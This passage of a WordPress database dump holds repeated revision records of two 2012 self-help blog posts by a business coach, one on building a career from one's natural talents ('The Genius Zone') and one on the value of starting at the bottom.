'The Genius Zone: Build your future on who you already are. ', 0, '', 'inherit', 'open', 'open', '', '2052-revision-2', '', '', '2012-04-22 13:30:19', '2012-04-22 20:30:19', '', 2052, 'http://www.whitehotcenter.com/2012/04/2052-revision-2/', 0, 'revision', '', 0),
(2054, 2, '2012-04-22 13:28:13', '2012-04-22 20:28:13', '<img class="alignnone size-full wp-image-2053" title="genius" src="http://whc.fbdev.org/wp-content/uploads/2012/04/genius.jpg" alt="the genius zone" width="504" height="471" />\n<h1><span style="color: #808080;">Our culture is obsessed with improvement. Throughout your life, you’ve been programmed to overcome weakness and master something you’re really not good at nor care that much about.  Don’t waste creative energy getting good at something you suck at!</span></h1>\nRecently I was invited to speak to a couple hundred graduating graphic design students at Ferris University Kendall College of Design in Grand Rapids, Michigan.  Of course most of these students were pre-occupied with finding a job, any job, and getting their professional careers in the advertising and marketing business off the ground.\n\nIn my talk, I shared some ideas on what it takes to build a foundation for a professional career that can be sustained for three or four decades without burning out ten years down the road.  In the question and answer session that followed, one theme stood out:\n\nThese young professionals wanted more than a job, they wanted to do work that mattered to them.\n\nThey craved deeper insight and ideas on what activity or niche they were best suited to pursue in developing their careers. The intuitive sense that they could only be happy and satisfied if they engage in unique, specific and meaningful work was palpable.\n\nWhat seemed to be most compelling was my suggestion to build the foundation of professional life from one’s inherent talents and strengths. I advised them don’t spend too much time laboring to master something you have no talent for or interest in.\n\nI call inherent talent the “genius zone”– a zone of activity that represents unending joy, passion, desire, continuous improvement, and opportunity to make your greatest contributions and achievements. In a culture (and educational system) obsessed with improving weakness and getting better at navigating the path of MOST resistance, the idea of playing to natural talents resonated deeply with these young people.\n\n<strong>Play to your strengths, forget about improving your weakness.</strong>\n\n&nbsp;\n\nMicheal Jordan was considered by many people to be the greatest basketball player the game has ever known. He was a genius at playing basketball. He never stopped growing and improving his capabilities to play great basketball. However, as hard as he tried, as long as he practiced, he could never be the “Micheal Jordan” of golf or baseball.  He didn’t have the same level of inherent talent for those activities.\n\n&nbsp;\n\nIt’s a myth in our culture that you can become anything you desire and work hard at achieving. It can be done, but at a high cost for low returns. The lesson here is simple–you have greater potential for sustainable success when you build on who you already are. You cannot be anything you want to be, but you can be far more of who you already are!\n\n&nbsp;\n\n<strong>The Genius Zone.</strong>\n\n&nbsp;\n\nNot surprisingly, it’s difficult for many people to describe their natural talent–their genius zone. Many have spent years mastering other activities to a level of mere competence. This can be very frustrating and not a useful and productive expenditure of time and life energy.  This has important implication for anything you are working on– career, business, or a fulfilling life.\n\n&nbsp;\n\nThe genius zone is where all your natural inherent talent resides, and only there will your talent be accessible. Talent is nothing more than a natural way of thinking, feeling or behaving. It’s so natural (like breathing) you hardly give it a second thought. Your talent has always been with you. And regardless of what activities you pursue over time, your talent stays with you.\n\n&nbsp;\n\nNatural talent however is not enough. You also need to invest time and energy into building knowledge and developing the necessary skills to be an expert. When you multiply your natural talent with the investment in building skill or knowledge, the sum will be your “core strength” – the ability for continuous growth and contribution in activities that matter to you and serve others. The genius zone is all about leveraging your core strengths to make quantum leaps in your progress toward the realization of your desires.\n\n&nbsp;\n\nIn business and in life, focus your vision, your desires, and all your actions on your genius. Your genius is your unique point of difference– the very thing that sets you apart from everyone else in the marketplace. Build strong relationships by partnering with others whose genius is in an area of your weakness. When you do, this will form a powerful combination for creating exponential life success in an easy and relaxed way.', 'The Genius Zone: Build your future on who you already are. ', 0, '', 'inherit', 'open', 'open', '', '2052-revision', '', '', '2012-04-22 13:28:13', '2012-04-22 20:28:13', '', 2052, 'http://www.whitehotcenter.com/2012/04/2052-revision/', 0, 'revision', '', 0);
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(2056, 2, '2012-04-22 13:33:26', '2012-04-22 20:33:26', '<img class="alignnone size-full wp-image-2053" title="genius" src="http://whc.fbdev.org/wp-content/uploads/2012/04/genius.jpg" alt="the genius zone" width="504" height="471" />\r\n<h1><span style="color: #808080;">Our culture is obsessed with improvement. Throughout your life, you’ve been programmed to overcome weakness and master something you’re really not good at nor care that much about.  Don’t waste creative energy getting good at something you suck at!</span></h1>\r\nRecently I was invited to speak to a couple hundred graduating graphic design students at Ferris University Kendall College of Design in Grand Rapids, Michigan.  Of course most of these students were pre-occupied with finding a job, any job, and getting their professional careers in the advertising and marketing business off the ground.\r\n\r\nIn my talk, I shared some ideas on what it takes to build a foundation for a professional career that can be sustained for three or four decades without burning out ten years down the road.  In the question and answer session that followed, one theme stood out:\r\n\r\nThese young professionals wanted more than a job, they wanted to do work that mattered to them.\r\n\r\nThey craved deeper insight and ideas on what activity or niche they were best suited to pursue in developing their careers. The intuitive sense that they could only be happy and satisfied if they engage in unique, specific and meaningful work was palpable.\r\n\r\nWhat seemed to be most compelling was my suggestion to build the foundation of professional life from one’s inherent talents and strengths. I advised them don’t spend too much time laboring to master something you have no talent for or interest in.\r\n\r\nI call inherent talent the “genius zone”– a zone of activity that represents unending joy, passion, desire, continuous improvement, and opportunity to make your greatest contributions and achievements. In a culture (and educational system) obsessed with improving weakness and getting better at navigating the path of MOST resistance, the idea of playing to natural talents resonated deeply with these young people.\r\n\r\n<strong>Play to your strengths, forget about improving your weakness.</strong>\r\n\r\nMicheal Jordan was considered by many people to be the greatest basketball player the game has ever known. He was a genius at playing basketball. He never stopped growing and improving his capabilities to play great basketball. However, as hard as he tried, as long as he practiced, he could never be the “Micheal Jordan” of golf or baseball.  He didn’t have the same level of inherent talent for those activities.\r\n\r\nIt’s a myth in our culture that you can become anything you desire and work hard at achieving. It can be done, but at a high cost for low returns. The lesson here is simple–you have greater potential for sustainable success when you build on who you already are. You cannot be anything you want to be, but you can be far more of who you already are!\r\n\r\n<strong>The Genius Zone.</strong>\r\n\r\nNot surprisingly, it’s difficult for many people to describe their natural talent–their genius zone. Many have spent years mastering other activities to a level of mere competence. This can be very frustrating and not a useful and productive expenditure of time and life energy.  This has important implication for anything you are working on– career, business, or a fulfilling life.\r\n\r\nThe genius zone is where all your natural inherent talent resides, and only there will your talent be accessible. Talent is nothing more than a natural way of thinking, feeling or behaving. It’s so natural (like breathing) you hardly give it a second thought. Your talent has always been with you. And regardless of what activities you pursue over time, your talent stays with you.\r\n\r\nNatural talent however is not enough. You also need to invest time and energy into building knowledge and developing the necessary skills to be an expert. When you multiply your natural talent with the investment in building skill or knowledge, the sum will be your “core strength” – the ability for continuous growth and contribution in activities that matter to you and serve others.\r\n<h2>The genius zone is all about leveraging your core strengths to make quantum leaps in your progress toward the realization of your desires.</h2>\r\nIn business and in life, focus your vision, your desires, and all your actions on your genius. Your genius is your unique point of difference– the very thing that sets you apart from everyone else in the marketplace. Build strong relationships by partnering with others whose genius is in an area of your weakness. When you do, this will form a powerful combination for creating exponential life success in an easy and relaxed way.', 'The Genius Zone: Build your future on who you already are. ', 0, '', 'inherit', 'open', 'open', '', '2052-revision-3', '', '', '2012-04-22 13:33:26', '2012-04-22 20:33:26', '', 2052, 'http://www.whitehotcenter.com/2012/04/2052-revision-3/', 0, 'revision', '', 0),
(2057, 2, '2012-04-22 13:33:36', '2012-04-22 20:33:36', '<img class="alignnone size-full wp-image-2053" title="genius" src="http://whc.fbdev.org/wp-content/uploads/2012/04/genius.jpg" alt="the genius zone" width="504" height="471" />\r\n<h1><span style="color: #808080;">Our culture is obsessed with improvement. Throughout your life, you’ve been programmed to overcome weakness and master something you’re really not good at nor care that much about.  Don’t waste creative energy getting good at something you suck at!</span></h1>\r\nRecently I was invited to speak to a couple hundred graduating graphic design students at Ferris University Kendall College of Design in Grand Rapids, Michigan.  Of course most of these students were pre-occupied with finding a job, any job, and getting their professional careers in the advertising and marketing business off the ground.\r\n\r\nIn my talk, I shared some ideas on what it takes to build a foundation for a professional career that can be sustained for three or four decades without burning out ten years down the road.  In the question and answer session that followed, one theme stood out:\r\n\r\nThese young professionals wanted more than a job, they wanted to do work that mattered to them.\r\n\r\nThey craved deeper insight and ideas on what activity or niche they were best suited to pursue in developing their careers. The intuitive sense that they could only be happy and satisfied if they engage in unique, specific and meaningful work was palpable.\r\n\r\nWhat seemed to be most compelling was my suggestion to build the foundation of professional life from one’s inherent talents and strengths. I advised them don’t spend too much time laboring to master something you have no talent for or interest in.\r\n\r\nI call inherent talent the “genius zone”– a zone of activity that represents unending joy, passion, desire, continuous improvement, and opportunity to make your greatest contributions and achievements. In a culture (and educational system) obsessed with improving weakness and getting better at navigating the path of MOST resistance, the idea of playing to natural talents resonated deeply with these young people.\r\n\r\n<strong>Play to your strengths, forget about improving your weakness.</strong>\r\n\r\nMicheal Jordan was considered by many people to be the greatest basketball player the game has ever known. He was a genius at playing basketball. He never stopped growing and improving his capabilities to play great basketball. However, as hard as he tried, as long as he practiced, he could never be the “Micheal Jordan” of golf or baseball.  He didn’t have the same level of inherent talent for those activities.\r\n\r\nIt’s a myth in our culture that you can become anything you desire and work hard at achieving. It can be done, but at a high cost for low returns. The lesson here is simple–you have greater potential for sustainable success when you build on who you already are. You cannot be anything you want to be, but you can be far more of who you already are!\r\n\r\n<strong>The Genius Zone.</strong>\r\n\r\nNot surprisingly, it’s difficult for many people to describe their natural talent–their genius zone. Many have spent years mastering other activities to a level of mere competence. This can be very frustrating and not a useful and productive expenditure of time and life energy.  This has important implication for anything you are working on– career, business, or a fulfilling life.\r\n\r\nThe genius zone is where all your natural inherent talent resides, and only there will your talent be accessible. Talent is nothing more than a natural way of thinking, feeling or behaving. It’s so natural (like breathing) you hardly give it a second thought. Your talent has always been with you. And regardless of what activities you pursue over time, your talent stays with you.\r\n\r\nNatural talent however is not enough. You also need to invest time and energy into building knowledge and developing the necessary skills to be an expert. When you multiply your natural talent with the investment in building skill or knowledge, the sum will be your “core strength” – the ability for continuous growth and contribution in activities that matter to you and serve others.\r\n<h2>The genius zone is all about leveraging your core strengths to make quantum leaps in your progress toward the realization of your desires.</h2>\r\nIn business and in life, focus your vision, your desires, and all your actions on your genius. Your genius is your unique point of difference– the very thing that sets you apart from everyone else in the marketplace. Build strong relationships by partnering with others whose genius is in an area of your weakness. When you do, this will form a powerful combination for creating exponential life success in an easy and relaxed way.', 'The Genius Zone: Build your future on who you already are. ', 0, '', 'inherit', 'open', 'open', '', '2052-revision-4', '', '', '2012-04-22 13:33:36', '2012-04-22 20:33:36', '', 2052, 'http://www.whitehotcenter.com/2012/04/2052-revision-4/', 0, 'revision', '', 0),
(2058, 2, '2012-04-22 13:36:42', '2012-04-22 20:36:42', '<img class="alignnone size-full wp-image-2053" title="genius" src="http://whc.fbdev.org/wp-content/uploads/2012/04/genius.jpg" alt="the genius zone" width="504" height="471" />\r\n<h1><span style="color: #808080;">Our culture is obsessed with improvement. Throughout your life, you’ve been programmed to overcome weakness and master something you’re really not good at nor care that much about.  Don’t waste creative energy getting good at something you suck at!</span></h1>\r\nRecently I was invited to speak to a couple hundred graduating graphic design students at <a href="http://www.kcad.edu/" target="_blank">Ferris University Kendall College of Design</a> in Grand Rapids, Michigan.  Of course most of these students were pre-occupied with finding a job, any job, and getting their professional careers in the advertising and marketing business off the ground.\r\n\r\nIn my talk, I shared some ideas on what it takes to build a foundation for a professional career that can be sustained for three or four decades without burning out ten years down the road.  In the question and answer session that followed, one theme stood out:\r\n\r\nThese young professionals wanted more than a job, they wanted to do work that mattered to them.\r\n\r\nThey craved deeper insight and ideas on what activity or niche they were best suited to pursue in developing their careers. The intuitive sense that they could only be happy and satisfied if they engage in unique, specific and meaningful work was palpable.\r\n\r\nWhat seemed to be most compelling was my suggestion to build the foundation of professional life from one’s inherent talents and strengths. I advised them don’t spend too much time laboring to master something you have no talent for or interest in.\r\n\r\nI call inherent talent the “genius zone”– a zone of activity that represents unending joy, passion, desire, continuous improvement, and opportunity to make your greatest contributions and achievements. In a culture (and educational system) obsessed with improving weakness and getting better at navigating the path of MOST resistance, the idea of playing to natural talents resonated deeply with these young people.\r\n\r\n<strong>Play to your strengths, forget about improving your weakness.</strong>\r\n\r\nMicheal Jordan was considered by many people to be the greatest basketball player the game has ever known. He was a genius at playing basketball. He never stopped growing and improving his capabilities to play great basketball. However, as hard as he tried, as long as he practiced, he could never be the “Micheal Jordan” of golf or baseball.  He didn’t have the same level of inherent talent for those activities.\r\n\r\nIt’s a myth in our culture that you can become anything you desire and work hard at achieving. It can be done, but at a high cost for low returns. The lesson here is simple–you have greater potential for sustainable success when you build on who you already are. You cannot be anything you want to be, but you can be far more of who you already are!\r\n\r\n<strong>The Genius Zone.</strong>\r\n\r\nNot surprisingly, it’s difficult for many people to describe their natural talent–their genius zone. Many have spent years mastering other activities to a level of mere competence. This can be very frustrating and not a useful and productive expenditure of time and life energy.  This has important implication for anything you are working on– career, business, or a fulfilling life.\r\n\r\nThe genius zone is where all your natural inherent talent resides, and only there will your talent be accessible. Talent is nothing more than a natural way of thinking, feeling or behaving. It’s so natural (like breathing) you hardly give it a second thought. Your talent has always been with you. And regardless of what activities you pursue over time, your talent stays with you.\r\n\r\nNatural talent however is not enough. You also need to invest time and energy into building knowledge and developing the necessary skills to be an expert. When you multiply your natural talent with the investment in building skill or knowledge, the sum will be your “core strength” – the ability for continuous growth and contribution in activities that matter to you and serve others.\r\n<h2>The genius zone is all about leveraging your core strengths to make quantum leaps in your progress toward the realization of your desires.</h2>\r\nIn business and in life, focus your vision, your desires, and all your actions on your genius. Your genius is your unique point of difference– the very thing that sets you apart from everyone else in the marketplace. Build strong relationships by partnering with others whose genius is in an area of your weakness. When you do, this will form a powerful combination for creating exponential life success in an easy and relaxed way.', 'The Genius Zone: Build your future on who you already are. ', 0, '', 'inherit', 'open', 'open', '', '2052-revision-5', '', '', '2012-04-22 13:36:42', '2012-04-22 20:36:42', '', 2052, 'http://www.whitehotcenter.com/2012/04/2052-revision-5/', 0, 'revision', '', 0),
(2059, 2, '2012-04-22 13:36:52', '2012-04-22 20:36:52', '<img class="alignnone size-full wp-image-2053" title="genius" src="http://whc.fbdev.org/wp-content/uploads/2012/04/genius.jpg" alt="the genius zone" width="504" height="471" />\r\n<h1><span style="color: #808080;">Our culture is obsessed with improvement. Throughout your life, you’ve been programmed to overcome weakness and master something you’re really not good at nor care that much about.  Don’t waste creative energy getting good at something you suck at!</span></h1>\r\nRecently I was invited to speak to a couple hundred graduating graphic design students at <a href="http://www.kcad.edu/" target="_blank">Ferris University Kendall College of Design</a> in Grand Rapids, Michigan.  Of course most of these students were pre-occupied with finding a job, any job, and getting their professional careers in the advertising and marketing business off the ground.\r\n\r\nIn my talk, I shared some ideas on what it takes to build a foundation for a professional career that can be sustained for three or four decades without burning out ten years down the road.  In the question and answer session that followed, one theme stood out:\r\n\r\nThese young professionals wanted more than a job, they wanted to do work that mattered to them.\r\n\r\nThey craved deeper insight and ideas on what activity or niche they were best suited to pursue in developing their careers. The intuitive sense that they could only be happy and satisfied if they engage in unique, specific and meaningful work was palpable.\r\n\r\nWhat seemed to be most compelling was my suggestion to build the foundation of professional life from one’s inherent talents and strengths. I advised them don’t spend too much time laboring to master something you have no talent for or interest in.\r\n\r\nI call inherent talent the “genius zone”– a zone of activity that represents unending joy, passion, desire, continuous improvement, and opportunity to make your greatest contributions and achievements. In a culture (and educational system) obsessed with improving weakness and getting better at navigating the path of MOST resistance, the idea of playing to natural talents resonated deeply with these young people.\r\n\r\n<strong>Play to your strengths, forget about improving your weakness.</strong>\r\n\r\nMicheal Jordan was considered by many people to be the greatest basketball player the game has ever known. He was a genius at playing basketball. He never stopped growing and improving his capabilities to play great basketball. However, as hard as he tried, as long as he practiced, he could never be the “Micheal Jordan” of golf or baseball.  He didn’t have the same level of inherent talent for those activities.\r\n\r\nIt’s a myth in our culture that you can become anything you desire and work hard at achieving. It can be done, but at a high cost for low returns. The lesson here is simple–you have greater potential for sustainable success when you build on who you already are. You cannot be anything you want to be, but you can be far more of who you already are!\r\n\r\n<strong>The Genius Zone.</strong>\r\n\r\nNot surprisingly, it’s difficult for many people to describe their natural talent–their genius zone. Many have spent years mastering other activities to a level of mere competence. This can be very frustrating and not a useful and productive expenditure of time and life energy.  This has important implication for anything you are working on– career, business, or a fulfilling life.\r\n\r\nThe genius zone is where all your natural inherent talent resides, and only there will your talent be accessible. Talent is nothing more than a natural way of thinking, feeling or behaving. It’s so natural (like breathing) you hardly give it a second thought. Your talent has always been with you. And regardless of what activities you pursue over time, your talent stays with you.\r\n\r\nNatural talent however is not enough. You also need to invest time and energy into building knowledge and developing the necessary skills to be an expert. When you multiply your natural talent with the investment in building skill or knowledge, the sum will be your “core strength” – the ability for continuous growth and contribution in activities that matter to you and serve others.\r\n<h2>The genius zone is all about leveraging your core strengths to make quantum leaps in your progress toward the realization of your desires.</h2>\r\nIn business and in life, focus your vision, your desires, and all your actions on your genius. Your genius is your unique point of difference– the very thing that sets you apart from everyone else in the marketplace. Build strong relationships by partnering with others whose genius is in an area of your weakness. When you do, this will form a powerful combination for creating exponential life success in an easy and relaxed way.', 'The Genius Zone: Build your future on who you already are. ', 0, '', 'inherit', 'open', 'open', '', '2052-revision-6', '', '', '2012-04-22 13:36:52', '2012-04-22 20:36:52', '', 2052, 'http://www.whitehotcenter.com/2012/04/2052-revision-6/', 0, 'revision', '', 0),
(2060, 2, '2012-04-22 13:39:55', '2012-04-22 20:39:55', '<img class="alignnone size-full wp-image-2053" title="genius" src="http://whc.fbdev.org/wp-content/uploads/2012/04/genius.jpg" alt="the genius zone" width="504" height="471" />\n<h1><span style="color: #808080;">Our culture is obsessed with improvement. Throughout your life, you’ve been programmed to overcome weakness and master something you’re really not good at nor care that much about.  Don’t waste creative energy getting good at something you suck at!</span></h1>\nRecently I was invited to speak to a couple hundred graduating graphic design students at <a href="http://www.kcad.edu/" target="_blank">Ferris University Kendall College of Design</a> in Grand Rapids, Michigan.  Of course most of these students were pre-occupied with finding a job, any job, and getting their professional careers in the advertising and marketing business off the ground.\n\nIn my talk, I shared some ideas on what it takes to build a foundation for a professional career that can be sustained for three or four decades without burning out ten years down the road.  In the question and answer session that followed, one theme stood out:\n\n<strong>These young professionals wanted more than a job, they wanted to do work that mattered to them.</strong>\n\nThey craved deeper insight and ideas on what activity or niche they were best suited to pursue in developing their careers. The intuitive sense that they could only be happy and satisfied if they engage in unique, specific and meaningful work was palpable.\n\nWhat seemed to be most compelling was my suggestion to build the foundation of professional life from one’s inherent talents and strengths. I advised them don’t spend too much time laboring to master something you have no talent for or interest in.\n\nI call inherent talent the “genius zone”– a zone of activity that represents unending joy, passion, desire, continuous improvement, and opportunity to make your greatest contributions and achievements. In a culture (and educational system) obsessed with improving weakness and getting better at navigating the path of MOST resistance, the idea of playing to natural talents resonated deeply with these young people.\n\n<strong>Play to your strengths, forget about improving your weakness.</strong>\n\nMicheal Jordan was considered by many people to be the greatest basketball player the game has ever known. He was a genius at playing basketball. He never stopped growing and improving his capabilities to play great basketball. However, as hard as he tried, as long as he practiced, he could never be the “Micheal Jordan” of golf or baseball.  He didn’t have the same level of inherent talent for those activities.\n\nIt’s a myth in our culture that you can become anything you desire and work hard at achieving. It can be done, but at a high cost for low returns. The lesson here is simple–you have greater potential for sustainable success when you build on who you already are. You cannot be anything you want to be, but you can be far more of who you already are!\n\n<strong>The Genius Zone.</strong>\n\nNot surprisingly, it’s difficult for many people to describe their natural talent–their genius zone. Many have spent years mastering other activities to a level of mere competence. This can be very frustrating and not a useful and productive expenditure of time and life energy.  This has important implication for anything you are working on– career, business, or a fulfilling life.\n\nThe genius zone is where all your natural inherent talent resides, and only there will your talent be accessible. Talent is nothing more than a natural way of thinking, feeling or behaving. It’s so natural (like breathing) you hardly give it a second thought. Your talent has always been with you. And regardless of what activities you pursue over time, your talent stays with you.\n\nNatural talent however is not enough. You also need to invest time and energy into building knowledge and developing the necessary skills to be an expert. When you multiply your natural talent with the investment in building skill or knowledge, the sum will be your “core strength” – the ability for continuous growth and contribution in activities that matter to you and serve others.\n<h2>The genius zone is all about leveraging your core strengths to make quantum leaps in your progress toward the realization of your desires.</h2>\nIn business and in life, focus your vision, your desires, and all your actions on your genius. Your genius is your unique point of difference– the very thing that sets you apart from everyone else in the marketplace. Build strong relationships by partnering with others whose genius is in an area of your weakness. When you do, this will form a powerful combination for creating exponential life success in an easy and relaxed way.', 'The Genius Zone: Build your future on who you already are. ', 0, '', 'inherit', 'open', 'open', '', '2052-revision-7', '', '', '2012-04-22 13:39:55', '2012-04-22 20:39:55', '', 2052, 'http://www.whitehotcenter.com/2012/04/2052-revision-7/', 0, 'revision', '', 0),
(2061, 2, '2012-04-22 13:45:39', '2012-04-22 20:45:39', '<img class="alignnone size-full wp-image-2053" title="genius" src="http://whc.fbdev.org/wp-content/uploads/2012/04/genius.jpg" alt="the genius zone" width="504" height="471" />\n<h1><span style="color: #808080;">Our culture is obsessed with improvement. Throughout your life, you’ve been programmed to overcome weakness and master something you’re really not good at nor care that much about.  Don’t waste creative energy getting good at something you suck at!</span></h1>\nRecently I was invited to speak to a couple hundred graduating graphic design students at <a href="http://www.kcad.edu/" target="_blank">Ferris University Kendall College of Design</a> in Grand Rapids, Michigan.  Of course most of these students were pre-occupied with finding a job, any job, and getting their professional careers in the advertising and marketing business off the ground.\n\nIn my talk, I shared some ideas on what it takes to build a foundation for a professional career that can be sustained for three or four decades without burning out ten years down the road.  In the question and answer session that followed, one theme stood out:\n\n<strong>These young professionals wanted more than a job, they wanted to do work that mattered to them.</strong>\n\nThey craved deeper insight and ideas on what activity or niche they were best suited to pursue in developing their careers. The intuitive sense that they could only be happy and satisfied if they engage in unique, specific and meaningful work was palpable.\n\nWhat seemed to be most compelling was my suggestion to build the foundation of professional life from one’s inherent talents and strengths. I advised them don’t spend too much time laboring to master something you have no talent for or interest in.\n\nI call inherent talent the “genius zone”– a zone of activity that represents unending joy, passion, desire, continuous improvement, and opportunity to make your greatest contributions and achievements. In a culture (and educational system) obsessed with improving weakness and getting better at navigating the path of MOST resistance, the idea of playing to natural talents resonated deeply with these young people.\n\n<strong>Play to your strengths, forget about improving your weakness.</strong>\n\nMicheal Jordan was considered by many people to be the greatest basketball player the game has ever known. He was a genius at playing basketball. He never stopped growing and improving his capabilities to play great basketball. However, as hard as he tried, as long as he practiced, he could never be the “Micheal Jordan” of golf or baseball.  He didn’t have the same level of inherent talent for those activities.\n\nIt’s a myth in our culture that you can become anything you desire and work hard at achieving. It can be done, but at a high cost for low returns. The lesson here is simple–you have greater potential for sustainable success when you build on who you already are. You cannot be anything you want to be, but you can be far more of who you already are!\n\n<strong>The Genius Zone.</strong>\n\nNot surprisingly, it’s difficult for many people to describe their natural talent–their genius zone. Many have spent years mastering other activities to a level of mere competence. This can be very frustrating and not a useful and productive expenditure of time and life energy.  This has important implication for anything you are working on– career, business, or a fulfilling life.\n\nThe genius zone is where all your natural inherent talent resides, and only there will your talent be accessible. Talent is nothing more than a natural way of thinking, feeling or behaving. It’s so natural (like breathing) you hardly give it a second thought. Your talent has always been with you. And regardless of what activities you pursue over time, your talent stays with you.\n\nNatural talent however is not enough. You also need to invest time and energy into building knowledge and developing the necessary skills to be an expert. When you multiply your natural talent with the investment in building skill or knowledge, the sum will be your “core strength” – the ability for continuous growth and contribution in activities that matter to you and serve others.\n<h2>The genius zone is all about leveraging your core strengths to make quantum leaps in your progress toward the realization of your desires.</h2>\nIn business and in life, focus your vision, your desires, and all your actions on your genius. Your genius is your unique point of difference– the very thing that sets you apart from everyone else in the marketplace. Build strong relationships by partnering with others whose genius is in an area of your weakness. When you do, this will form a powerful combination for creating exponential life success in an easy and relaxed way.', 'The Genius Zone: Build your future on who you already are. `', 0, '', 'inherit', 'open', 'open', '', '2052-autosave', '', '', '2012-04-22 13:45:39', '2012-04-22 20:45:39', '', 2052, 'http://www.whitehotcenter.com/2012/04/2052-autosave/', 0, 'revision', '', 0),
(2063, 2, '2012-05-07 09:41:26', '2012-05-07 16:41:26', '', 'theclimb', 0, '', 'inherit', 'open', 'open', '', 'theclimb', '', '', '2012-05-07 09:41:26', '2012-05-07 16:41:26', '', 2062, 'http://www.whitehotcenter.com/wp-content/uploads/2012/05/theclimb.jpg', 0, 'attachment', 'image/jpeg', 0),
(2064, 2, '2012-05-07 09:43:53', '2012-05-07 16:43:53', '<img class="alignnone size-full wp-image-2063" title="theclimb" src="http://whc.fbdev.org/wp-content/uploads/2012/05/theclimb.jpg" alt="" width="490" height="268" />\n<h1><span style="color: #808080;">Creative people running their own businesses are always looking for useful advice and ideas about getting from where they are now to some elevated place where they want to be. Many are very clear about what they want, yet the “how to do it” part remains elusive.</span></h1>\nAccomplishment has no silver bullets. Getting things done and making things happen isn’t magic, it’s work–actually it’s great work! I’m sure you’ll agree nothing is more satisfying and fulfilling than turning possibilities into achievement.  The questions I get asked often are “how do I make it happen?” and “where do I start?”\n\nWhat they really want to know is “how can I start at the top and work up from there?” Few are willing to start something at the bottom. Everybody wants a shortcut to the top.\n\nDon’t get me wrong, if you find a shortcut–a faster, better, cheaper way to accomplishing your goal, by all means go for it. There are many shortcuts on the road to your success.  The important thing one must understand about shortcuts (better ways to get things done) is they are only made available to you AFTER you start at the bottom.\n\nEvery great accomplishment starts at the bottom. The bottom being the place where you have no prior skill, knowledge or experience. Every accomplishment begins with your willingness and acceptance of being at the bottom–unaccomplished!\n\nHaving to face being at the bottom is one reason why many people won’t make it to the top. They never gave themselves a fair shot because they don’t want to risk failure and they don’t like feeling unaccomplished. It’s more comfortable to stay where they are even if that means staying stuck wondering what to do next.\n\nThere is no formula for moving forward toward an accomplishment you desire.  You just begin at the bottom and don’t worry too much about the “how”.\n\n<strong>Every accomplishment begins in the mind.</strong>\n\nI’ve written many times and it’s worth repeating–everything that ever was, is now or will ever be begins as a formless thought in the mind.  I’m confident you have been thinking about lots of ideas to move yourself forward particularly in your business.  Regardless of the amount of ideas you are thinking about, follow one that has lots of creative juice for you, then forgot about the others (for now).\n\nAccomplishment is really nothing more than the art of sacrifice. You make a decision to go “all in” on one idea at the exclusion of all other alternatives. This level of mental focus builds energy and energy is motion–motion is progress.\n\n<strong>Start small, really small.</strong>\n\nOnce you’ve made a decision to focus on accomplishing a single idea, it can be tempting to take big swings at making things happen at the beginning. In my own experience, I’ve found it more useful to take really small incremental moves toward something I’d like to accomplish. It’s easier to “digest” a small task rather than attempt a big stretch early in game. Allow yourself to get your “legs” first, build your confidence bit by bit.  You’ll be amazed at how much gets accomplished in small bits over time. And when it feels right to you, go ahead and stretch yourself.\n\n<strong>You will suck at first.</strong>\n\nWhen I made the decision to become a writer and teacher, I sucked at it. I was at the bottom with no clear idea of who my writing would serve and if anyone cared that much about what I had to say. But I cared!  I cared enough to start this blog and play around with the “writer idea” in little pieces. Slowly, very slowly over time, my writing helped me focus on what mattered to me and who I could serve through my writing.  My writing improved and now I have a bit more confidence. Every time I receive another blog subscriber notice in my email, my confidence grows stronger and I keep learning to be better.  Go ahead and suck!\n\n<strong>Ideas take their own sweet time to come into form.</strong>\n\n&nbsp;\n\nUnlike predictable gestation periods for living organisms, ideas take their own sweet time coming into form. There’s simply no way to know with certainty how long accomplishing anything will take.  There are three attributes inherent in any accomplishment: patience, persistence, and time. The first requires unbending faith, the second repeated action, and finally the last element takes what it takes. The good news is you’re in control of two out of three of those attributes. Not bad odds.\n\n&nbsp;\n\nThink of the bottom as the foundation of the bigger future.\n\n&nbsp;\n\nAnything worth accomplishing is worth placing on a strong foundation. Think of starting at the bottom as your foundation for a bigger future. At the bottom, you will discover the value of focused energy, faith, action and trust in yourself. Build your accomplishments on those foundational elements and you’ll be absolutely astonished at your progress.', 'The importance of starting at the bottom.', 0, '', 'inherit', 'open', 'open', '', '2062-revision', '', '', '2012-05-07 09:43:53', '2012-05-07 16:43:53', '', 2062, 'http://www.whitehotcenter.com/2012/05/2062-revision/', 0, 'revision', '', 0),
(2065, 2, '2012-05-07 09:45:22', '2012-05-07 16:45:22', '<img class="alignnone size-full wp-image-2063" title="theclimb" src="http://whc.fbdev.org/wp-content/uploads/2012/05/theclimb.jpg" alt="" width="490" height="268" />\n<h1><span style="color: #808080;">Creative people running their own businesses are always looking for useful advice and ideas about getting from where they are now to some elevated place where they want to be. Many are very clear about what they want, yet the “how to do it” part remains elusive.</span></h1>\nAccomplishment has no silver bullets. Getting things done and making things happen isn’t magic, it’s work–actually it’s great work! I’m sure you’ll agree nothing is more satisfying and fulfilling than turning possibilities into achievement.  The questions I get asked often are “how do I make it happen?” and “where do I start?”\n\nWhat they really want to know is “how can I start at the top and work up from there?” Few are willing to start something at the bottom. Everybody wants a shortcut to the top.\n\nDon’t get me wrong, if you find a shortcut–a faster, better, cheaper way to accomplishing your goal, by all means go for it. There are many shortcuts on the road to your success.  The important thing one must understand about shortcuts (better ways to get things done) is they are only made available to you AFTER you start at the bottom.\n\nEvery great accomplishment starts at the bottom. The bottom being the place where you have no prior skill, knowledge or experience. Every accomplishment begins with your willingness and acceptance of being at the bottom–unaccomplished!\n\nHaving to face being at the bottom is one reason why many people won’t make it to the top. They never gave themselves a fair shot because they don’t want to risk failure and they don’t like feeling unaccomplished. It’s more comfortable to stay where they are even if that means staying stuck wondering what to do next.\n\nThere is no formula for moving forward toward an accomplishment you desire.  You just begin at the bottom and don’t worry too much about the “how”.\n\n<strong>Every accomplishment begins in the mind.</strong>\n\nI’ve written many times and it’s worth repeating–everything that ever was, is now or will ever be begins as a formless thought in the mind.  I’m confident you have been thinking about lots of ideas to move yourself forward particularly in your business.  Regardless of the amount of ideas you are thinking about, follow one that has lots of creative juice for you, then forgot about the others (for now).\n\nAccomplishment is really nothing more than the art of sacrifice. You make a decision to go “all in” on one idea at the exclusion of all other alternatives. This level of mental focus builds energy and energy is motion–motion is progress.\n\n<strong>Start small, really small.</strong>\n\nOnce you’ve made a decision to focus on accomplishing a single idea, it can be tempting to take big swings at making things happen at the beginning. In my own experience, I’ve found it more useful to take really small incremental moves toward something I’d like to accomplish. It’s easier to “digest” a small task rather than attempt a big stretch early in 